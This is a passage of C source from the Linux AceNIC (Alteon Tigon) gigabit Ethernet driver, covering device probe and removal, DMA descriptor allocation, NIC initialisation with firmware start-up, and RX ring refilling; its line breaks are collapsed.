default: printk(KERN_INFO "%s: Unknown AceNIC ", ap->name); break; } printk("Gigabit Ethernet at 0x%08lx, ", dev->base_addr); printk("irq %d\n", pdev->irq); #ifdef CONFIG_ACENIC_OMIT_TIGON_I if ((readl(&ap->regs->HostCtrl) >> 28) == 4) { printk(KERN_ERR "%s: Driver compiled without Tigon I" " support - NIC disabled\n", dev->name); goto fail_uninit; } #endif if (ace_allocate_descriptors(dev)) goto fail_free_netdev; #ifdef MODULE if (boards_found >= ACE_MAX_MOD_PARMS) ap->board_idx = BOARD_IDX_OVERFLOW; else ap->board_idx = boards_found; #else ap->board_idx = BOARD_IDX_STATIC; #endif if (ace_init(dev)) goto fail_free_netdev; if (register_netdev(dev)) { printk(KERN_ERR "acenic: device registration failed\n"); goto fail_uninit; } ap->name = dev->name; if (ap->pci_using_dac) dev->features |= NETIF_F_HIGHDMA; pci_set_drvdata(pdev, dev); boards_found++; return 0; fail_uninit: ace_init_cleanup(dev); fail_free_netdev: free_netdev(dev); return -ENODEV; } static void acenic_remove_one(struct pci_dev *pdev) { struct net_device *dev = pci_get_drvdata(pdev); struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; short i; unregister_netdev(dev); writel(readl(&regs->CpuCtrl) | CPU_HALT, &regs->CpuCtrl); if (ap->version >= 2) writel(readl(&regs->CpuBCtrl) | CPU_HALT, &regs->CpuBCtrl); /* * This clears any pending interrupts */ writel(1, &regs->Mb0Lo); readl(&regs->CpuCtrl); /* flush */ /* * Make sure no other CPUs are processing interrupts * on the card before the buffers are being released. * Otherwise one might experience some `interesting' * effects. * * Then release the RX buffers - jumbo buffers were * already released in ace_close(). */ ace_sync_irq(dev->irq); for (i = 0; i < RX_STD_RING_ENTRIES; i++) { struct sk_buff *skb = ap->skb->rx_std_skbuff[i].skb; if (skb) { struct ring_info *ringp; dma_addr_t mapping; ringp = &ap->skb->rx_std_skbuff[i]; mapping = dma_unmap_addr(ringp, mapping); pci_unmap_page(ap->pdev, mapping, ACE_STD_BUFSIZE, PCI_DMA_FROMDEVICE); ap->rx_std_ring[i].size = 0; ap->skb->rx_std_skbuff[i].skb = NULL; dev_kfree_skb(skb); } } if (ap->version >= 2) { for (i = 0; i < RX_MINI_RING_ENTRIES; i++) { struct sk_buff *skb = ap->skb->rx_mini_skbuff[i].skb; if (skb) { struct ring_info *ringp; dma_addr_t mapping; ringp = &ap->skb->rx_mini_skbuff[i]; mapping = dma_unmap_addr(ringp,mapping); pci_unmap_page(ap->pdev, mapping, ACE_MINI_BUFSIZE, PCI_DMA_FROMDEVICE); ap->rx_mini_ring[i].size = 0; ap->skb->rx_mini_skbuff[i].skb = NULL; dev_kfree_skb(skb); } } } for (i = 0; i < RX_JUMBO_RING_ENTRIES; i++) { struct sk_buff *skb = ap->skb->rx_jumbo_skbuff[i].skb; if (skb) { struct ring_info *ringp; dma_addr_t mapping; ringp = &ap->skb->rx_jumbo_skbuff[i]; mapping = dma_unmap_addr(ringp, mapping); pci_unmap_page(ap->pdev, mapping, ACE_JUMBO_BUFSIZE, PCI_DMA_FROMDEVICE); ap->rx_jumbo_ring[i].size = 0; ap->skb->rx_jumbo_skbuff[i].skb = NULL; dev_kfree_skb(skb); } } ace_init_cleanup(dev); free_netdev(dev); } static struct pci_driver acenic_pci_driver = { .name = "acenic", .id_table = acenic_pci_tbl, .probe = acenic_probe_one, .remove = acenic_remove_one, }; static void ace_free_descriptors(struct net_device *dev) { struct ace_private *ap = netdev_priv(dev); int size; if (ap->rx_std_ring != NULL) { size = (sizeof(struct rx_desc) * (RX_STD_RING_ENTRIES + RX_JUMBO_RING_ENTRIES + RX_MINI_RING_ENTRIES + RX_RETURN_RING_ENTRIES)); pci_free_consistent(ap->pdev, size, ap->rx_std_ring, ap->rx_ring_base_dma); ap->rx_std_ring = NULL; ap->rx_jumbo_ring = NULL; ap->rx_mini_ring = NULL; ap->rx_return_ring = NULL; } if (ap->evt_ring != NULL) { size = (sizeof(struct event) * EVT_RING_ENTRIES); pci_free_consistent(ap->pdev, size, ap->evt_ring, ap->evt_ring_dma); ap->evt_ring = NULL; } if (ap->tx_ring != NULL && !ACE_IS_TIGON_I(ap)) { size = (sizeof(struct tx_desc) * MAX_TX_RING_ENTRIES); pci_free_consistent(ap->pdev, size, ap->tx_ring, ap->tx_ring_dma); } ap->tx_ring = NULL; if (ap->evt_prd != NULL) { pci_free_consistent(ap->pdev, sizeof(u32), (void *)ap->evt_prd, ap->evt_prd_dma); ap->evt_prd = NULL; } if (ap->rx_ret_prd != NULL) { pci_free_consistent(ap->pdev, sizeof(u32), (void *)ap->rx_ret_prd, ap->rx_ret_prd_dma); ap->rx_ret_prd = NULL; } if (ap->tx_csm != NULL) { pci_free_consistent(ap->pdev, sizeof(u32), (void *)ap->tx_csm, ap->tx_csm_dma); ap->tx_csm = NULL; } } static int ace_allocate_descriptors(struct net_device *dev) { struct ace_private *ap = netdev_priv(dev); int size; size = (sizeof(struct rx_desc) * (RX_STD_RING_ENTRIES + RX_JUMBO_RING_ENTRIES + RX_MINI_RING_ENTRIES + RX_RETURN_RING_ENTRIES)); ap->rx_std_ring = pci_alloc_consistent(ap->pdev, size, &ap->rx_ring_base_dma); if (ap->rx_std_ring == NULL) goto fail; ap->rx_jumbo_ring = ap->rx_std_ring + RX_STD_RING_ENTRIES; ap->rx_mini_ring = ap->rx_jumbo_ring + RX_JUMBO_RING_ENTRIES; ap->rx_return_ring = ap->rx_mini_ring + RX_MINI_RING_ENTRIES; size = (sizeof(struct event) * EVT_RING_ENTRIES); ap->evt_ring = pci_alloc_consistent(ap->pdev, size, &ap->evt_ring_dma); if (ap->evt_ring == NULL) goto fail; /* * Only allocate a host TX ring for the Tigon II, the Tigon I * has to use PCI registers for this ;-( */ if (!ACE_IS_TIGON_I(ap)) { size = (sizeof(struct tx_desc) * MAX_TX_RING_ENTRIES); ap->tx_ring = pci_alloc_consistent(ap->pdev, size, &ap->tx_ring_dma); if (ap->tx_ring == NULL) goto fail; } ap->evt_prd = pci_alloc_consistent(ap->pdev, sizeof(u32), &ap->evt_prd_dma); if (ap->evt_prd == NULL) goto fail; ap->rx_ret_prd = pci_alloc_consistent(ap->pdev, sizeof(u32), &ap->rx_ret_prd_dma); if (ap->rx_ret_prd == NULL) goto fail; ap->tx_csm = pci_alloc_consistent(ap->pdev, sizeof(u32), &ap->tx_csm_dma); if (ap->tx_csm == NULL) goto fail; return 0; fail: /* Clean up. */ ace_init_cleanup(dev); return 1; } /* * Generic cleanup handling data allocated during init. Used when the * module is unloaded or if an error occurs during initialization */ static void ace_init_cleanup(struct net_device *dev) { struct ace_private *ap; ap = netdev_priv(dev); ace_free_descriptors(dev); if (ap->info) pci_free_consistent(ap->pdev, sizeof(struct ace_info), ap->info, ap->info_dma); kfree(ap->skb); kfree(ap->trace_buf); if (dev->irq) free_irq(dev->irq, dev); iounmap(ap->regs); } /* * Commands are considered to be slow. */ static inline void ace_issue_cmd(struct ace_regs __iomem *regs, struct cmd *cmd) { u32 idx; idx = readl(&regs->CmdPrd); writel(*(u32 *)(cmd), &regs->CmdRng[idx]); idx = (idx + 1) % CMD_RING_ENTRIES; writel(idx, &regs->CmdPrd); } static int ace_init(struct net_device *dev) { struct ace_private *ap; struct ace_regs __iomem *regs; struct ace_info *info = NULL; struct pci_dev *pdev; unsigned long myjif; u64 tmp_ptr; u32 tig_ver, mac1, mac2, tmp, pci_state; int board_idx, ecode = 0; short i; unsigned char cache_size; ap = netdev_priv(dev); regs = ap->regs; board_idx = ap->board_idx; /* * [email protected] - its useful to do a NIC reset here to * address the `Firmware not running' problem subsequent * to any crashes involving the NIC */ writel(HW_RESET | (HW_RESET << 24), &regs->HostCtrl); readl(&regs->HostCtrl); /* PCI write posting */ udelay(5); /* * Don't access any other registers before this point! */ #ifdef __BIG_ENDIAN /* * This will most likely need BYTE_SWAP once we switch * to using __raw_writel() */ writel((WORD_SWAP | CLR_INT | ((WORD_SWAP | CLR_INT) << 24)), &regs->HostCtrl); #else writel((CLR_INT | WORD_SWAP | ((CLR_INT | WORD_SWAP) << 24)), &regs->HostCtrl); #endif readl(&regs->HostCtrl); /* PCI write posting */ /* * Stop the NIC CPU and clear pending interrupts */ writel(readl(&regs->CpuCtrl) | CPU_HALT, &regs->CpuCtrl); readl(&regs->CpuCtrl); /* PCI write posting */ writel(0, &regs->Mb0Lo); tig_ver = readl(&regs->HostCtrl) >> 28; switch(tig_ver){ #ifndef CONFIG_ACENIC_OMIT_TIGON_I case 4: case 5: printk(KERN_INFO " Tigon I (Rev. %i), Firmware: %i.%i.%i, ", tig_ver, ap->firmware_major, ap->firmware_minor, ap->firmware_fix); writel(0, &regs->LocalCtrl); ap->version = 1; ap->tx_ring_entries = TIGON_I_TX_RING_ENTRIES; break; #endif case 6: printk(KERN_INFO " Tigon II (Rev. %i), Firmware: %i.%i.%i, ", tig_ver, ap->firmware_major, ap->firmware_minor, ap->firmware_fix); writel(readl(&regs->CpuBCtrl) | CPU_HALT, &regs->CpuBCtrl); readl(&regs->CpuBCtrl); /* PCI write posting */ /* * The SRAM bank size does _not_ indicate the amount * of memory on the card, it controls the _bank_ size! * Ie. a 1MB AceNIC will have two banks of 512KB. */ writel(SRAM_BANK_512K, &regs->LocalCtrl); writel(SYNC_SRAM_TIMING, &regs->MiscCfg); ap->version = 2; ap->tx_ring_entries = MAX_TX_RING_ENTRIES; break; default: printk(KERN_WARNING " Unsupported Tigon version detected " "(%i)\n", tig_ver); ecode = -ENODEV; goto init_error; } /* * ModeStat _must_ be set after the SRAM settings as this change * seems to corrupt the ModeStat and possible other registers. * The SRAM settings survive resets and setting it to the same * value a second time works as well. This is what caused the * `Firmware not running' problem on the Tigon II. */ #ifdef __BIG_ENDIAN writel(ACE_BYTE_SWAP_DMA | ACE_WARN | ACE_FATAL | ACE_BYTE_SWAP_BD | ACE_WORD_SWAP_BD | ACE_NO_JUMBO_FRAG, &regs->ModeStat); #else writel(ACE_BYTE_SWAP_DMA | ACE_WARN | ACE_FATAL | ACE_WORD_SWAP_BD | ACE_NO_JUMBO_FRAG, &regs->ModeStat); #endif readl(&regs->ModeStat); /* PCI write posting */ mac1 = 0; for(i = 0; i < 4; i++) { int t; mac1 = mac1 << 8; t = read_eeprom_byte(dev, 0x8c+i); if (t < 0) { ecode = -EIO; goto init_error; } else mac1 |= (t & 0xff); } mac2 = 0; for(i = 4; i < 8; i++) { int t; mac2 = mac2 << 8; t = read_eeprom_byte(dev, 0x8c+i); if (t < 0) { ecode = -EIO; goto init_error; } else mac2 |= (t & 0xff); } writel(mac1, &regs->MacAddrHi); writel(mac2, &regs->MacAddrLo); dev->dev_addr[0] = (mac1 >> 8) & 0xff; dev->dev_addr[1] = mac1 & 0xff; dev->dev_addr[2] = (mac2 >> 24) & 0xff; dev->dev_addr[3] = (mac2 >> 16) & 0xff; dev->dev_addr[4] = (mac2 >> 8) & 0xff; dev->dev_addr[5] = mac2 & 0xff; printk("MAC: %pM\n", dev->dev_addr); /* * Looks like this is necessary to deal with on all architectures, * even this %$#%$# N440BX Intel based thing doesn't get it right. * Ie. having two NICs in the machine, one will have the cache * line set at boot time, the other will not. */ pdev = ap->pdev; pci_read_config_byte(pdev, PCI_CACHE_LINE_SIZE, &cache_size); cache_size <<= 2; if (cache_size != SMP_CACHE_BYTES) { printk(KERN_INFO " PCI cache line size set incorrectly " "(%i bytes) by BIOS/FW, ", cache_size); if (cache_size > SMP_CACHE_BYTES) printk("expecting %i\n", SMP_CACHE_BYTES); else { printk("correcting to %i\n", SMP_CACHE_BYTES); pci_write_config_byte(pdev, PCI_CACHE_LINE_SIZE, SMP_CACHE_BYTES >> 2); } } pci_state = readl(&regs->PciState); printk(KERN_INFO " PCI bus width: %i bits, speed: %iMHz, " "latency: %i clks\n", (pci_state & PCI_32BIT) ? 32 : 64, (pci_state & PCI_66MHZ) ? 66 : 33, ap->pci_latency); /* * Set the max DMA transfer size. Seems that for most systems * the performance is better when no MAX parameter is * set. However for systems enabling PCI write and invalidate, * DMA writes must be set to the L1 cache line size to get * optimal performance. * * The default is now to turn the PCI write and invalidate off * - that is what Alteon does for NT. */ tmp = READ_CMD_MEM | WRITE_CMD_MEM; if (ap->version >= 2) { tmp |= (MEM_READ_MULTIPLE | (pci_state & PCI_66MHZ)); /* * Tuning parameters only supported for 8 cards */ if (board_idx == BOARD_IDX_OVERFLOW || dis_pci_mem_inval[board_idx]) { if (ap->pci_command & PCI_COMMAND_INVALIDATE) { ap->pci_command &= ~PCI_COMMAND_INVALIDATE; pci_write_config_word(pdev, PCI_COMMAND, ap->pci_command); printk(KERN_INFO " Disabling PCI memory " "write and invalidate\n"); } } else if (ap->pci_command & PCI_COMMAND_INVALIDATE) { printk(KERN_INFO " PCI memory write & invalidate " "enabled by BIOS, enabling counter measures\n"); switch(SMP_CACHE_BYTES) { case 16: tmp |= DMA_WRITE_MAX_16; break; case 32: tmp |= DMA_WRITE_MAX_32; break; case 64: tmp |= DMA_WRITE_MAX_64; break; case 128: tmp |= DMA_WRITE_MAX_128; break; default: printk(KERN_INFO " Cache line size %i not " "supported, PCI write and invalidate " "disabled\n", SMP_CACHE_BYTES); ap->pci_command &= ~PCI_COMMAND_INVALIDATE; pci_write_config_word(pdev, PCI_COMMAND, ap->pci_command); } } } #ifdef __sparc__ /* * On this platform, we know what the best dma settings * are. We use 64-byte maximum bursts, because if we * burst larger than the cache line size (or even cross * a 64byte boundary in a single burst) the UltraSparc * PCI controller will disconnect at 64-byte multiples. * * Read-multiple will be properly enabled above, and when * set will give the PCI controller proper hints about * prefetching. */ tmp &= ~DMA_READ_WRITE_MASK; tmp |= DMA_READ_MAX_64; tmp |= DMA_WRITE_MAX_64; #endif #ifdef __alpha__ tmp &= ~DMA_READ_WRITE_MASK; tmp |= DMA_READ_MAX_128; /* * All the docs say MUST NOT. Well, I did. * Nothing terrible happens, if we load wrong size. * Bit w&i still works better! */ tmp |= DMA_WRITE_MAX_128; #endif writel(tmp, &regs->PciState); #if 0 /* * The Host PCI bus controller driver has to set FBB. * If all devices on that PCI bus support FBB, then the controller * can enable FBB support in the Host PCI Bus controller (or on * the PCI-PCI bridge if that applies). * -ggg */ /* * I have received reports from people having problems when this * bit is enabled. */ if (!(ap->pci_command & PCI_COMMAND_FAST_BACK)) { printk(KERN_INFO " Enabling PCI Fast Back to Back\n"); ap->pci_command |= PCI_COMMAND_FAST_BACK; pci_write_config_word(pdev, PCI_COMMAND, ap->pci_command); } #endif /* * Configure DMA attributes. */ if (!pci_set_dma_mask(pdev, DMA_BIT_MASK(64))) { ap->pci_using_dac = 1; } else if (!pci_set_dma_mask(pdev, DMA_BIT_MASK(32))) { ap->pci_using_dac = 0; } else { ecode = -ENODEV; goto init_error; } /* * Initialize the generic info block and the command+event rings * and the control blocks for the transmit and receive rings * as they need to be setup once and for all. */ if (!(info = pci_alloc_consistent(ap->pdev, sizeof(struct ace_info), &ap->info_dma))) { ecode = -EAGAIN; goto init_error; } ap->info = info; /* * Get the memory for the skb rings. */ if (!(ap->skb = kmalloc(sizeof(struct ace_skb), GFP_KERNEL))) { ecode = -EAGAIN; goto init_error; } ecode = request_irq(pdev->irq, ace_interrupt, IRQF_SHARED, DRV_NAME, dev); if (ecode) { printk(KERN_WARNING "%s: Requested IRQ %d is busy\n", DRV_NAME, pdev->irq); goto init_error; } else dev->irq = pdev->irq; #ifdef INDEX_DEBUG spin_lock_init(&ap->debug_lock); ap->last_tx = ACE_TX_RING_ENTRIES(ap) - 1; ap->last_std_rx = 0; ap->last_mini_rx = 0; #endif memset(ap->info, 0, sizeof(struct ace_info)); memset(ap->skb, 0, sizeof(struct ace_skb)); ecode = ace_load_firmware(dev); if (ecode) goto init_error; ap->fw_running = 0; tmp_ptr = ap->info_dma; writel(tmp_ptr >> 32, &regs->InfoPtrHi); writel(tmp_ptr & 0xffffffff, &regs->InfoPtrLo); memset(ap->evt_ring, 0, EVT_RING_ENTRIES * sizeof(struct event)); set_aceaddr(&info->evt_ctrl.rngptr, ap->evt_ring_dma); info->evt_ctrl.flags = 0; *(ap->evt_prd) = 0; wmb(); set_aceaddr(&info->evt_prd_ptr, ap->evt_prd_dma); writel(0, &regs->EvtCsm); set_aceaddr(&info->cmd_ctrl.rngptr, 0x100); info->cmd_ctrl.flags = 0; info->cmd_ctrl.max_len = 0; for (i = 0; i < CMD_RING_ENTRIES; i++) writel(0, &regs->CmdRng[i]); writel(0, &regs->CmdPrd); writel(0, &regs->CmdCsm); tmp_ptr = ap->info_dma; tmp_ptr += (unsigned long) &(((struct ace_info *)0)->s.stats); set_aceaddr(&info->stats2_ptr, (dma_addr_t) tmp_ptr); set_aceaddr(&info->rx_std_ctrl.rngptr, ap->rx_ring_base_dma); info->rx_std_ctrl.max_len = ACE_STD_BUFSIZE; info->rx_std_ctrl.flags = RCB_FLG_TCP_UDP_SUM | RCB_FLG_NO_PSEUDO_HDR | RCB_FLG_VLAN_ASSIST; memset(ap->rx_std_ring, 0, RX_STD_RING_ENTRIES * sizeof(struct rx_desc)); for (i = 0; i < RX_STD_RING_ENTRIES; i++) ap->rx_std_ring[i].flags = BD_FLG_TCP_UDP_SUM; ap->rx_std_skbprd = 0; atomic_set(&ap->cur_rx_bufs, 0); set_aceaddr(&info->rx_jumbo_ctrl.rngptr, (ap->rx_ring_base_dma + (sizeof(struct rx_desc) * RX_STD_RING_ENTRIES))); info->rx_jumbo_ctrl.max_len = 0; info->rx_jumbo_ctrl.flags = RCB_FLG_TCP_UDP_SUM | RCB_FLG_NO_PSEUDO_HDR | RCB_FLG_VLAN_ASSIST; memset(ap->rx_jumbo_ring, 0, RX_JUMBO_RING_ENTRIES * sizeof(struct rx_desc)); for (i = 0; i < RX_JUMBO_RING_ENTRIES; i++) ap->rx_jumbo_ring[i].flags = BD_FLG_TCP_UDP_SUM | BD_FLG_JUMBO; ap->rx_jumbo_skbprd = 0; atomic_set(&ap->cur_jumbo_bufs, 0); memset(ap->rx_mini_ring, 0, RX_MINI_RING_ENTRIES * sizeof(struct rx_desc)); if (ap->version >= 2) { set_aceaddr(&info->rx_mini_ctrl.rngptr, (ap->rx_ring_base_dma + (sizeof(struct rx_desc) * (RX_STD_RING_ENTRIES + RX_JUMBO_RING_ENTRIES)))); info->rx_mini_ctrl.max_len = ACE_MINI_SIZE; info->rx_mini_ctrl.flags = RCB_FLG_TCP_UDP_SUM|RCB_FLG_NO_PSEUDO_HDR|RCB_FLG_VLAN_ASSIST; for (i = 0; i < RX_MINI_RING_ENTRIES; i++) ap->rx_mini_ring[i].flags = BD_FLG_TCP_UDP_SUM | BD_FLG_MINI; } else { set_aceaddr(&info->rx_mini_ctrl.rngptr, 0); info->rx_mini_ctrl.flags = RCB_FLG_RNG_DISABLE; info->rx_mini_ctrl.max_len = 0; } ap->rx_mini_skbprd = 0; atomic_set(&ap->cur_mini_bufs, 0); set_aceaddr(&info->rx_return_ctrl.rngptr, (ap->rx_ring_base_dma + (sizeof(struct rx_desc) * (RX_STD_RING_ENTRIES + RX_JUMBO_RING_ENTRIES + RX_MINI_RING_ENTRIES)))); info->rx_return_ctrl.flags = 0; info->rx_return_ctrl.max_len = RX_RETURN_RING_ENTRIES; memset(ap->rx_return_ring, 0, RX_RETURN_RING_ENTRIES * sizeof(struct rx_desc)); set_aceaddr(&info->rx_ret_prd_ptr, ap->rx_ret_prd_dma); *(ap->rx_ret_prd) = 0; writel(TX_RING_BASE, &regs->WinBase); if (ACE_IS_TIGON_I(ap)) { ap->tx_ring = (__force struct tx_desc *) regs->Window; for (i = 0; i < (TIGON_I_TX_RING_ENTRIES * sizeof(struct tx_desc)) / sizeof(u32); i++) writel(0, (__force void __iomem *)ap->tx_ring + i * 4); set_aceaddr(&info->tx_ctrl.rngptr, TX_RING_BASE); } else { memset(ap->tx_ring, 0, MAX_TX_RING_ENTRIES * sizeof(struct tx_desc)); set_aceaddr(&info->tx_ctrl.rngptr, ap->tx_ring_dma); } info->tx_ctrl.max_len = ACE_TX_RING_ENTRIES(ap); tmp = RCB_FLG_TCP_UDP_SUM | RCB_FLG_NO_PSEUDO_HDR | RCB_FLG_VLAN_ASSIST; /* * The Tigon I does not like having the TX ring in host memory ;-( */ if (!ACE_IS_TIGON_I(ap)) tmp |= RCB_FLG_TX_HOST_RING; #if TX_COAL_INTS_ONLY tmp |= RCB_FLG_COAL_INT_ONLY; #endif info->tx_ctrl.flags = tmp; set_aceaddr(&info->tx_csm_ptr, ap->tx_csm_dma); /* * Potential item for tuning parameter */ #if 0 /* NO */ writel(DMA_THRESH_16W, &regs->DmaReadCfg); writel(DMA_THRESH_16W, &regs->DmaWriteCfg); #else writel(DMA_THRESH_8W, &regs->DmaReadCfg); writel(DMA_THRESH_8W, &regs->DmaWriteCfg); #endif writel(0, &regs->MaskInt); writel(1, &regs->IfIdx); #if 0 /* * McKinley boxes do not like us fiddling with AssistState * this early */ writel(1, &regs->AssistState); #endif writel(DEF_STAT, &regs->TuneStatTicks); writel(DEF_TRACE, &regs->TuneTrace); ace_set_rxtx_parms(dev, 0); if (board_idx == BOARD_IDX_OVERFLOW) { printk(KERN_WARNING "%s: more than %i NICs detected, " "ignoring module parameters!\n", ap->name, ACE_MAX_MOD_PARMS); } else if (board_idx >= 0) { if (tx_coal_tick[board_idx]) writel(tx_coal_tick[board_idx], &regs->TuneTxCoalTicks); if (max_tx_desc[board_idx]) writel(max_tx_desc[board_idx], &regs->TuneMaxTxDesc); if (rx_coal_tick[board_idx]) writel(rx_coal_tick[board_idx], &regs->TuneRxCoalTicks); if (max_rx_desc[board_idx]) writel(max_rx_desc[board_idx], &regs->TuneMaxRxDesc); if (trace[board_idx]) writel(trace[board_idx], &regs->TuneTrace); if ((tx_ratio[board_idx] > 0) && (tx_ratio[board_idx] < 64)) writel(tx_ratio[board_idx], &regs->TxBufRat); } /* * Default link parameters */ tmp = LNK_ENABLE | LNK_FULL_DUPLEX | LNK_1000MB | LNK_100MB | LNK_10MB | LNK_RX_FLOW_CTL_Y | LNK_NEG_FCTL | LNK_NEGOTIATE; if(ap->version >= 2) tmp |= LNK_TX_FLOW_CTL_Y; /* * Override link default parameters */ if ((board_idx >= 0) && link_state[board_idx]) { int option = link_state[board_idx]; tmp = LNK_ENABLE; if (option & 0x01) { printk(KERN_INFO "%s: Setting half duplex link\n", ap->name); tmp &= ~LNK_FULL_DUPLEX; } if (option & 0x02) tmp &= ~LNK_NEGOTIATE; if (option & 0x10) tmp |= LNK_10MB; if (option & 0x20) tmp |= LNK_100MB; if (option & 0x40) tmp |= LNK_1000MB; if ((option & 0x70) == 0) { printk(KERN_WARNING "%s: No media speed specified, " "forcing auto negotiation\n", ap->name); tmp |= LNK_NEGOTIATE | LNK_1000MB | LNK_100MB | LNK_10MB; } if ((option & 0x100) == 0) tmp |= LNK_NEG_FCTL; else printk(KERN_INFO "%s: Disabling flow control " "negotiation\n", ap->name); if (option & 0x200) tmp |= LNK_RX_FLOW_CTL_Y; if ((option & 0x400) && (ap->version >= 2)) { printk(KERN_INFO "%s: Enabling TX flow control\n", ap->name); tmp |= LNK_TX_FLOW_CTL_Y; } } ap->link = tmp; writel(tmp, &regs->TuneLink); if (ap->version >= 2) writel(tmp, &regs->TuneFastLink); writel(ap->firmware_start, &regs->Pc); writel(0, &regs->Mb0Lo); /* * Set tx_csm before we start receiving interrupts, otherwise * the interrupt handler might think it is supposed to process * tx ints before we are up and running, which may cause a null * pointer access in the int handler. */ ap->cur_rx = 0; ap->tx_prd = *(ap->tx_csm) = ap->tx_ret_csm = 0; wmb(); ace_set_txprd(regs, ap, 0); writel(0, &regs->RxRetCsm); /* * Enable DMA engine now. * If we do this sooner, Mckinley box pukes. * I assume it's because Tigon II DMA engine wants to check * *something* even before the CPU is started. */ writel(1, &regs->AssistState); /* enable DMA */ /* * Start the NIC CPU */ writel(readl(&regs->CpuCtrl) & ~(CPU_HALT|CPU_TRACE), &regs->CpuCtrl); readl(&regs->CpuCtrl); /* * Wait for the firmware to spin up - max 3 seconds. */ myjif = jiffies + 3 * HZ; while (time_before(jiffies, myjif) && !ap->fw_running) cpu_relax(); if (!ap->fw_running) { printk(KERN_ERR "%s: Firmware NOT running!\n", ap->name); ace_dump_trace(ap); writel(readl(&regs->CpuCtrl) | CPU_HALT, &regs->CpuCtrl); readl(&regs->CpuCtrl); /* [email protected] - account for badly behaving firmware/NIC: * - have observed that the NIC may continue to generate * interrupts for some reason; attempt to stop it - halt * second CPU for Tigon II cards, and also clear Mb0 * - if we're a module, we'll fail to load if this was * the only GbE card in the system => if the kernel does * see an interrupt from the NIC, code to handle it is * gone and OOps! - so free_irq also */ if (ap->version >= 2) writel(readl(&regs->CpuBCtrl) | CPU_HALT, &regs->CpuBCtrl); writel(0, &regs->Mb0Lo); readl(&regs->Mb0Lo); ecode = -EBUSY; goto init_error; } /* * We load the ring here as there seem to be no way to tell the * firmware to wipe the ring without re-initializing it. */ if (!test_and_set_bit(0, &ap->std_refill_busy)) ace_load_std_rx_ring(dev, RX_RING_SIZE); else printk(KERN_ERR "%s: Someone is busy refilling the RX ring\n", ap->name); if (ap->version >= 2) { if (!test_and_set_bit(0, &ap->mini_refill_busy)) ace_load_mini_rx_ring(dev, RX_MINI_SIZE); else printk(KERN_ERR "%s: Someone is busy refilling " "the RX mini ring\n", ap->name); } return 0; init_error: ace_init_cleanup(dev); return ecode; } static void ace_set_rxtx_parms(struct net_device *dev, int jumbo) { struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; int board_idx = ap->board_idx; if (board_idx >= 0) { if (!jumbo) { if (!tx_coal_tick[board_idx]) writel(DEF_TX_COAL, &regs->TuneTxCoalTicks); if (!max_tx_desc[board_idx]) writel(DEF_TX_MAX_DESC, &regs->TuneMaxTxDesc); if (!rx_coal_tick[board_idx]) writel(DEF_RX_COAL, &regs->TuneRxCoalTicks); if (!max_rx_desc[board_idx]) writel(DEF_RX_MAX_DESC, &regs->TuneMaxRxDesc); if (!tx_ratio[board_idx]) writel(DEF_TX_RATIO, &regs->TxBufRat); } else { if (!tx_coal_tick[board_idx]) writel(DEF_JUMBO_TX_COAL, &regs->TuneTxCoalTicks); if (!max_tx_desc[board_idx]) writel(DEF_JUMBO_TX_MAX_DESC, &regs->TuneMaxTxDesc); if (!rx_coal_tick[board_idx]) writel(DEF_JUMBO_RX_COAL, &regs->TuneRxCoalTicks); if (!max_rx_desc[board_idx]) writel(DEF_JUMBO_RX_MAX_DESC, &regs->TuneMaxRxDesc); if (!tx_ratio[board_idx]) writel(DEF_JUMBO_TX_RATIO, &regs->TxBufRat); } } } static void ace_watchdog(struct net_device *data) { struct net_device *dev = data; struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; /* * We haven't received a stats update event for more than 2.5 * seconds and there is data in the transmit queue, thus we * assume the card is stuck. */ if (*ap->tx_csm != ap->tx_ret_csm) { printk(KERN_WARNING "%s: Transmitter is stuck, %08x\n", dev->name, (unsigned int)readl(&regs->HostCtrl)); /* This can happen due to ieee flow control. */ } else { printk(KERN_DEBUG "%s: BUG... transmitter died. Kicking it.\n", dev->name); #if 0 netif_wake_queue(dev); #endif } } static void ace_tasklet(unsigned long arg) { struct net_device *dev = (struct net_device *) arg; struct ace_private *ap = netdev_priv(dev); int cur_size; cur_size = atomic_read(&ap->cur_rx_bufs); if ((cur_size < RX_LOW_STD_THRES) && !test_and_set_bit(0, &ap->std_refill_busy)) { #ifdef DEBUG printk("refilling buffers (current %i)\n", cur_size); #endif ace_load_std_rx_ring(dev, RX_RING_SIZE - cur_size); } if (ap->version >= 2) { cur_size = atomic_read(&ap->cur_mini_bufs); if ((cur_size < RX_LOW_MINI_THRES) && !test_and_set_bit(0, &ap->mini_refill_busy)) { #ifdef DEBUG printk("refilling mini buffers (current %i)\n", cur_size); #endif ace_load_mini_rx_ring(dev, RX_MINI_SIZE - cur_size); } } cur_size = atomic_read(&ap->cur_jumbo_bufs); if (ap->jumbo && (cur_size < RX_LOW_JUMBO_THRES) && !test_and_set_bit(0, &ap->jumbo_refill_busy)) { #ifdef DEBUG printk("refilling jumbo buffers (current %i)\n", cur_size); #endif ace_load_jumbo_rx_ring(dev, RX_JUMBO_SIZE - cur_size); } ap->tasklet_pending = 0; } /* * Copy the contents of the NIC's trace buffer to kernel memory. */ static void ace_dump_trace(struct ace_private *ap) { #if 0 if (!ap->trace_buf) if (!(ap->trace_buf = kmalloc(ACE_TRACE_SIZE, GFP_KERNEL))) return; #endif } /* * Load the standard rx ring. * * Loading rings is safe without holding the spin lock since this is * done only before the device is enabled, thus no interrupts are * generated and by the interrupt handler/tasklet handler. */ static void ace_load_std_rx_ring(struct net_device *dev, int nr_bufs) { struct ace_private *ap = netdev_priv(dev); struct ace_regs __iomem *regs = ap->regs; short i, idx; prefetchw(&ap->cur_rx_bufs); idx = ap->rx_std_skbprd; for (i = 0; i < nr_bufs; i++) { struct sk_buff *skb; struct rx_desc *rd; dma_addr_t mapping; skb = netdev_alloc_skb_ip_align(dev, ACE_STD_BUFSIZE); if (!skb) break; mapping = pci_map_page(ap->pdev, virt_to_page(skb->data), offset_in_page(skb->data), ACE_STD_BUFSIZE, PCI_DMA_FROMDEVICE); ap->skb->rx_std_skbuff[idx].skb = skb; dma_unmap_addr_set(&ap->skb->rx_std_skbuff[idx], mapping, mapping); rd = &ap->rx_std_ring[idx]; set_aceaddr(&rd->addr, mapping); rd->size = ACE_STD_BUFSIZE; rd->idx = idx; idx = (idx + 1) % RX_STD_RING_ENTRIES; } if (!i) goto error_out; atomic_add(i, &ap->cur_rx_bufs); ap->rx_std_skbprd = idx; if (ACE_IS_TIGON_I(ap)) { struct 